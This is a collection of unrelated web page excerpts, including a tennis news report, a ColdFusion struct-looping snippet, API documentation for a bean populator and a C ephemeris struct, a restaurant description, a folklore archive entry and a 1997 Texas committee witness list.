GCIED prefers to be an ecosystem that favors sustainable startups where ideas result in the making of a wholesome market product.We hope to bridge the gap between the people and the problems they face.
At GCIED,every startup act as a mentor to one another and this process creates a favorable learning arena.
We believe that a business can only be sustainable when it receives recognition and it also strives to create innovative forums for the project.
Our fundamental goal is to establish the fact that entrepreneurship is an actual career path and has the ability to make one successful and achieve excellence.


Saudi driver Reema Juffali makes history as first woman to compete in Saudi Arabia
MADRID: Novak Djokovic defeated Benoit Paire 6-3, 6-3 to seal Serbia’s victory over top-ranked France in the Davis Cup Finals on Thursday.
The result gave Serbia an insurmountable 2-0 lead over the French before the doubles match. Filip Krajinovic had defeated Jo-Wilfried Tsonga 7-5, 7-6 (5) in the first singles to mathematically secure Serbia in the last eight of the revamped
team competition.
Djokovic had a break in the first set and two in the second to clinch his 14th straight Davis Cup
singles victory.
“I made some crucial breaks at the right time in both sets,” Djokovic said. “It’s tough to play Benoit, he is a very talented guy, very unpredictable.”
Serbia secured first place in Group A by winning every tie without dropping a set.
Group winners advance to the knockout stage along with the two best second-place finishers among the six groups.
Britain and Kazakhstan were 1-1 after Kyle Edmund defeated Mikhail Kukushkin 6-3, 6-3 and Alexander Bublik evened the match for Kazakhstan by beating Daniel Evans 5-7, 6-4, 6-1.
The winner will clinch a place in the last eight as the first-placed team in Group E.
Britain were not playing Andy Murray, who on Wednesday came from behind to win his match against Tallon Griekspoor in
three sets.
In Group C, Germany were leading Chile 1-0 after Phillip Kohlschreiber defeated Nicolas Jarry 6-4, 6-3.


---
layout: post
title: Looping over a structure using cfscript
tags: []
status: publish
type: post
published: true
meta: {}
---
Stumbled across this little bit of code, that shows how to loop over a structure using <cfscript>.
[code]
// create the structure
strProducts = StructNew();
// populate the structure
strProducts.Name = "Core ColdFusion 5";
strProducts.Price = "44.95";
strProducts.ISBN = "0119299377";
// loop over it and output the key-value pair
for (idx in strProducts) {
WriteOutput("#idx# is #strProducts[idx]#");
}
[/code]


Tank Me
Leaderboard
Invite
Start
Matches
Kills
Deaths
K/D Ratio
Points
Wins
Tank Me
Fetching Game Files...
Points
Kills
Lobby


We started out as two brothers with a love for our Oma (grandmother) Bavarian cooking. Through the years, we collected her recipes and first launched our German sausage food truck in 2006. Fast forward twelve years and we have Bavarian Brathaus running for over eight years
“Everything in the kitchen is locally and ethically sourced. Our produce comes fresh every other day to ensure an exceptional experience every day. We specialize in the art of hospitality and make everything with heart and soul, down to the smallest detail.”
Think Oma’s kitchen with a modern flair. We’ve got the wood oven burning—perfect for those chilly nights and our diverse wine collection is nothing short of a good time. All 19 of our real draft beers will take you to a different part of Germany with each sip. Try them all out with our sample platters! Our dining room is relaxed and warm, but chic. Dress casual for the after work drink with friends, or up for the family dinner party.


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Notebooks
Story: How to get rid of the evil influence of bad dreams
How to get rid of the evil influence of bad dreams
Title
How to get rid of the evil influence of bad dreams
Collection
Summary
Mode of getting rid of the evil influence of bad dreams. In the Katkop dialect, by Díä!kwãin (L V.-15. 5160 rev.-5163 rev.). What Dia!kwain's mother did when she wished to get rid of the evil influence of bad dreams.
Comments
1) It seems the people address the Moon when they have bad dreams: it is addressed as 'Rider yonder' in the previous story (of a prayer to the Moon) as well as in this instance, 2) See also A prayer addressed to the Moon, and another version of the Moon and Hare story, 3) This story is found in Book V-15
Contributors
Date
6 August 1875
Categories
Custom and daily life, History (personal)
Keywords
dreams (getting rid of the evil influence of bad) , dreams (and collecting food) , dreams (cleansing) , dreams (about) , dreams (bad-) , dreams (go into the fire) , dreams (go about with people) , dreams (and a prayer or address to the Moon) , dreams (and evil things) , dreams (fires cleanse evil from them) , dreams (and misfortune) , dreams (and the unfavourable actions of food and prey) , dreams (rituals performed to remove evil influences) , dreams (their influence on daily life) , dreams (and the rituals performed by Dia!kwain's mother) , Dia!kwain (how his mother removed the evil influences of bad dreams) , Moon (prayer or address to) , Moon (and getting rid of the evil influence of bad dreams) , prayer (or address to the Moon) , prayer (and getting rid of the evil influence of bad dreams) , fires (cleanse dreams) , fires (and getting rid of the evil influence of bad dreams) , food (collecting) , food (and getting rid of the evil influence of bad dreams) , food (the unfavourable actions of food and prey)
Story Pages
5160v-5163v


lucee.Component logbox.system.core.dynamic.BeanPopulator
This is a bean populator that binds different types of data to a bean.
| Constructor Summary | |
|---|---|
|
init()
Constructor. |
| Method Summary | |
|---|---|
private struct
|
getRelationshipMetaData(any target)
Prepares a structure of target relational meta data. |
private Util
|
getUtil()
Create and return a util object. |
any
|
populateFromJSON(any target, string JSONString, [string scope=''], [boolean trustedSetter='false'], [string include=''], [string exclude=''], [boolean ignoreEmpty='false'], [string nullEmptyInclude=''], [string nullEmptyExclude=''], [boolean composeRelationships='false'])
Populate a named or instantiated bean from a json string. |
any
|
populateFromQuery(any target, query qry, [Numeric rowNumber='1'], [string scope=''], [boolean trustedSetter='false'], [string include=''], [string exclude=''], [boolean ignoreEmpty='false'], [string nullEmptyInclude=''], [string nullEmptyExclude=''], [boolean composeRelationships='false'])
Populate a named or instantiated bean from query. |
any
|
populateFromQueryWithPrefix(any target, query qry, [Numeric rowNumber='1'], [string scope=''], [boolean trustedSetter='false'], [string include=''], [string exclude=''], string prefix, [boolean ignoreEmpty='false'], [string nullEmptyInclude=''], [string nullEmptyExclude=''], [boolean composeRelationships='false'])
Populates an Object using only specific columns from a query. |
any
|
populateFromStruct(any target, struct memento, [string scope], [boolean trustedSetter='false'], [string include=''], [string exclude=''], [boolean ignoreEmpty='false'], [string nullEmptyInclude=''], [string nullEmptyExclude=''], [boolean composeRelationships='false'])
Populate a named or instantiated bean from a structure. |
any
|
populateFromStructWithPrefix(any target, struct memento, [string scope], [boolean trustedSetter='false'], [string include=''], [string exclude=''], [boolean ignoreEmpty='false'], [string nullEmptyInclude=''], [string nullEmptyExclude=''], [boolean composeRelationships='false'], string prefix)
Populate a named or instantiated bean from a structure. |
any
|
populateFromXML(any target, any xml, [string root=''], [string scope=''], [boolean trustedSetter='false'], [string include=''], [string exclude=''], [boolean ignoreEmpty='false'], [string nullEmptyInclude=''], [string nullEmptyExclude=''], [boolean composeRelationships='false'])
Populate a named or instantiated bean from an XML packet. |
| Methods inherited from class lucee.Component |
|---|
| None |
| Constructor Detail |
|---|
Constructor
| Method Detail |
|---|
Prepares a structure of target relational meta data
target
Create and return a util object
Populate a named or instantiated bean from a json string
target
- The target to populateJSONString
- The JSON string to populate the object with. It has to be valid JSON and also a structure with name-key value pairs. scope
- Use scope injection instead of setters population. Ex: scope=variables.instance.trustedSetter
- If set to true, the setter method will be called even if it does not exist in the beaninclude
- A list of keys to include in the populationexclude
- A list of keys to exclude in the populationignoreEmpty
- Ignore empty values on populations, great for ORM populationnullEmptyInclude
- A list of keys to NULL when emptynullEmptyExclude
- A list of keys to NOT NULL when emptycomposeRelationships
- Automatically attempt to compose relationships from mementoPopulate a named or instantiated bean from query
target
- The target to populateqry
- The query to popluate the bean object withrowNumber
- The query row number to use for populationscope
- Use scope injection instead of setters population. Ex: scope=variables.instance.trustedSetter
- If set to true, the setter method will be called even if it does not exist in the beaninclude
- A list of keys to include in the populationexclude
- A list of keys to exclude in the populationignoreEmpty
- Ignore empty values on populations, great for ORM populationnullEmptyInclude
- A list of keys to NULL when emptynullEmptyExclude
- A list of keys to NOT NULL when emptycomposeRelationships
- Automatically attempt to compose relationships from mementoPopulates an Object using only specific columns from a query. Useful for performing a query with joins that needs to populate multiple objects.
target
- This can be an instantiated bean object or a bean instantitation path as a string. If you pass an instantiation path and the bean has an 'init' method. It will be executed. This method follows the bean contract (set{property_name}). Example: setUsername(), setfname()qry
- The query to popluate the bean object withrowNumber
- The query row number to use for populationscope
- Use scope injection instead of setters population. Ex: scope=variables.instance.trustedSetter
- If set to true, the setter method will be called even if it does not exist in the beaninclude
- A list of keys to include in the populationexclude
- A list of keys to exclude in the populationprefix
- The prefix used to filter, Example: 'user_' would apply to the following columns: 'user_id' and 'user_name' but not 'address_id'.ignoreEmpty
- Ignore empty values on populations, great for ORM populationnullEmptyInclude
- A list of keys to NULL when emptynullEmptyExclude
- A list of keys to NOT NULL when emptycomposeRelationships
- Automatically attempt to compose relationships from mementoPopulate a named or instantiated bean from a structure
target
- The target to populatememento
- The structure to populate the object with.scope
- Use scope injection instead of setters population.trustedSetter
- If set to true, the setter method will be called even if it does not exist in the beaninclude
- A list of keys to include in the populationexclude
- A list of keys to exclude in the populationignoreEmpty
- Ignore empty values on populations, great for ORM populationnullEmptyInclude
- A list of keys to NULL when emptynullEmptyExclude
- A list of keys to NOT NULL when emptycomposeRelationships
- Automatically attempt to compose relationships from mementoPopulate a named or instantiated bean from a structure
target
- The target to populatememento
- The structure to populate the object with.scope
- Use scope injection instead of setters population.trustedSetter
- If set to true, the setter method will be called even if it does not exist in the beaninclude
- A list of keys to include in the populationexclude
- A list of keys to exclude in the populationignoreEmpty
- Ignore empty values on populations, great for ORM populationnullEmptyInclude
- A list of keys to NULL when emptynullEmptyExclude
- A list of keys to NOT NULL when emptycomposeRelationships
- Automatically attempt to compose relationships from mementoprefix
- The prefix used to filter, Example: 'user' would apply to the following formfield: 'user_id' and 'user_name' but not 'address_id'.Populate a named or instantiated bean from an XML packet
target
- The target to populatexml
- The XML string or packetroot
- The XML root element to start fromscope
- Use scope injection instead of setters population. Ex: scope=variables.instance.trustedSetter
- If set to true, the setter method will be called even if it does not exist in the beaninclude
- A list of keys to include in the populationexclude
- A list of keys to exclude in the populationignoreEmpty
- Ignore empty values on populations, great for ORM populationnullEmptyInclude
- A list of keys to NULL when emptynullEmptyExclude
- A list of keys to NOT NULL when emptycomposeRelationships
- Automatically attempt to compose relationships from memento


{% extends 'base.html' %} {% block title %}Email Sent{% endblock %} {% block content %}
We've emailed you instructions for setting your password. You should receive the email shortly!
If you don't receive an email, please make sure you've entered the address you registered with, and check your spam folder.


Struct vrt_ephemeris¶
Defined in File vrt_types.h
Struct Documentation¶
-
struct
vrt_ephemeris
¶ Location in a specific coordinate system.
Public Members
-
uint32_t
oui
¶ IEEE Organizationally Unique Identifier of GPS/INS manufacturer.
- Note
Only the 24 least significant bits are valid.
-
uint32_t
integer_second_timestamp
¶ Integer second timestamp of position fix as specified by tsi.
-
uint64_t
fractional_second_timestamp
¶ Fractional second timestamp of position fix as specified by tsf.
-
struct vrt_ephemeris_indicators
has
¶ Field presence indicators.
-
double
position_x
¶ x-position [m]. Along earth’s equator. Positive direction is intersection of equator plane and prime meridian. Activate by setting has.position_x to true.
-
double
position_y
¶ y-position [m]. Completes a right-handed orthogonal system 90 degrees east of the x-axis. Activate by setting has.position_y to true.
-
double
position_z
¶ z-position [m]. Directed along earth’s rotational axis, where north is positive. Activate by setting has.position_z to true.
-
double
attitude_alpha
¶ Attitude coordinate about z-axis [degrees]. Positive rotation is x to y. Activate by setting has.attitude_alpha to true.
-
double
attitude_beta
¶ Attitude coordinate about y-axis [degrees]. Positive direction is x to z. Activate by setting has.attitude_beta to true.
-
double
attitude_phi
¶ Attitude coordinate about x-axis [degrees]. Positive direction is y to z. Activate by setting has.attitude_phi to true.
-
double
velocity_dx
¶ x-velocity [m/s]. Defined similarly to x-position. Activate by setting has.velocity_dx to true.
-
double
velocity_dy
¶ y-velocity [m/s]. Defined similarly to y-position. Activate by setting has.velocity_dy to true.
-
double
velocity_dz
¶ z-position [m/s]. Defined similarly to z-position. Activate by setting has.velocity_dz to true.
-
uint32_t


1. 25K-30K Hr. Service (Filter/Oil Change)
| Item # | Description | Quantity | U/Price | Taxable | Other | Amount | Ext. Procured | Document | Comment |
|---|
| Subtotal | 0.00 |
| Tax Rate | 0.00% |
| Tax Amount | 0.00 |
| Other | 0.00 |
| TOTAL: | 0.00 |
Payment Source
| Item # | Amount | Paid | Balance | Document | Completion | Comment |
|---|
| Amount | Price | Balance | |
|---|---|---|---|
| Main Repairer Total | 0.00 | 0.00 | 0.00 |
| Externally Procurred Total | 0.00 | 0.00 | 0.00 |
| Total: | 0.00 | 0.00 | 0.00 |


WITNESS LIST State Affairs Committee March 17, 1997-1:00P HB 1002 For: Carole Kneeland (Freedom of Info. Found.) Keith Hampton (Tx Crim. Def. Lawyers) Paul Watler (Freedom of Info. Found.) Rep. Harold Dutton (Self) Rob Wiley (Freedom of Info. Found.) On: Bill Delmore (Harris Co. Dist. Atty.) Registering, but not testifying: For: Suzy Woodford (Common Cause Texas) On: Boyd Kennedy (Tx Parks and Wildlife) Robert Kepple (Tx Dist. & Co. Atty.) HB 1009 For: Edward Phelan (Sprint) Mark Witcher (AT&T) Rep. Jesse Jones (Self) On: Bill Magnes (PUC) Janee Briesemeister (Consumers Union) Suzi McClellan (Of. of Public Util. Cou) Tom "Smitty" Smith (Public Citizen) Registering, but not testifying: For: Alfred Herrera (MCI) Charles Land (Tx Assn Long Distance) HB 1009 Amendment (Carter) On: Jim Fitzpatrick (AARP) HB 1009 Committee Substitute (Alvarado) For: Henry Flores (Tx Telephone Assn.) HB 1019 For: Commis. Jerry Eversole (Harris Co. Precinct 4) Curtis Cook (Assn. of Rural Fire Prv) Jim Allison (Co. Judges & Comis. Asn) Mark Mendez (Tarrant County) Ray Zobel (Cypress Creek Civic Asn) Rep. Peggy Hamric (Self) Against: Chester Davis (American Fireworks) Lee Gilder (Self) Registering, but not testifying: For: Rebecca Rentz (Harris Co. Judge Eckels) HB 1177 For: Ed Small (Small, Craig & Werkenth) Rep. Scott Hochberg (Self) Sandy Kibby (Tx Cong. of Parents & T) Registering, but not testifying: For: Bill Warren (Tx Public E'ee Assn.) Dee Simpson (Am. Fed. of St, Co., Mn) Sheryl Jett (Small, Craig & Werkenth) Vicki Barbero (Coal. for Family Involv) On: Dr. Jean Kemp (Belton ISD) HB 1261 For: Chester Davis (American Fireworks) Lee Gilder (Self) Mark Mendez (Tarrant County) Rep. Nancy Moffat (Self) Royce Trout (Tx Pyrotechnic Assn.) On: Lynn Bizzell (Tx Fire Chief's Assn.) Registering, but not testifying: For: Donald Lee (Conf. of Urban Counties) HB 1782 For: Roger Miller (Found. Apprais. Coal.Tx) On: David Gloier (Veterans Land Bd.) Mark McAnally (Veterans Land Bd., GLO) HB 1982 For: Janee Briesemeister (Consumers Union) Jim Fitzpatrick (AARP) Sandra Haverlah (Tx Citizens Action) Tom "Smitty" Smith (Public Citizen) On: Bill Magnes (PUC) Suzi McClellan (Of. Pub. Util. Counsel) HB 2049 For: Chester Davis (American Fireworks) Gary Joiner (Texas Farm Bureau) Jim Allison (Co. Judges & Commis.) Lee Gilder (Self) Lynn Bizzell (Tx Fire Chief's Assn.) Rep. Allen Hightower (Self) Royce Trout (Tx Pyrotechnic Assn.) On: Bobby Young (Texas Forest Service) James Hull (Texas Forest Service) Registering, but not testifying: For: Donald Lee (Conf. of Urban Counties) Mark Mendez (Tarrant County)


The unit called ConcatTime concatinates a number of sample sets and puts them into one sample series. This unit can be used to recreate data sets once they have been split up into sections. In the user interface, you specify how many sample set's you wish you concatinate.


BLUECOLLERIO knows that our strength lies not only in the words we stand by, but most importantly through the actions of our initiatives. In COVID pandemic, our Non-Profit Organization realized that by working together we could overcome our challenges much more efficiently, and that is why we ultimately decided to launch BLUECOLLERIO.
Our job portal creates an opportunity for both job seekers and employers to embrace an easy employment process. Users can register for free on this job portal. As an employer, you can make use of our job portal to search for the most deserving candidates for work. This helps to save time and help streamline the right candidate for a particular job. Who can use our online job portal? Our job portal can be used by job seekers to setup profile according to job category of their interest and employers can find the job-seeker of their choice. Our job portal creates a platform for people seeking for job opportunities as well as household maintainers seeking best candidates for household renovation, to come together. Job portals, also known as Career portals have aided numerous job seekers get suitable work and given a boost to their livelihood.